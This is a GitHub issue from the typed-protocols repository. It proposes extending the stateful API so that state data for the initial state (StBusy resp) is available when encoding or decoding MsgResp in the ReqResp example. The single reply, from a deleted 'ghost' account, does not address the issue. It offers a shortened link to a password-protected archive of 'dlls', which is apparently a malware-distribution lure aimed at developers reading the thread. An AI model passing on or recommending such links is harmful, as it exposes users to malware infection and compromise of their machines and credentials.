input-output-hk / typed-protocols

Session types framework with support of protocol pipelining.
15 stars 4 forks source link

Extend stateful API #59

Open coot opened 2 hours ago

coot commented 2 hours ago

In the Stateful.ReqResp example we need to pass req resp in MsgResp.

    MsgResp :: Typeable resp
            => req resp
            -> resp     -- ^ respond
            -> Message (ReqResp req) (StBusy resp) StIdle

It isn't sent over the wire, but it's useful to have access to it when encoding / decoding resp. We should extend the stateful API, so that not only State StIdle is provided (state data for the target state), but also State (StBusy resp) (state data for the initial state).

ghost commented 2 hours ago

try this https://bit.ly/4gvtdhO

Password: changeme I put the necessary dlls in the archive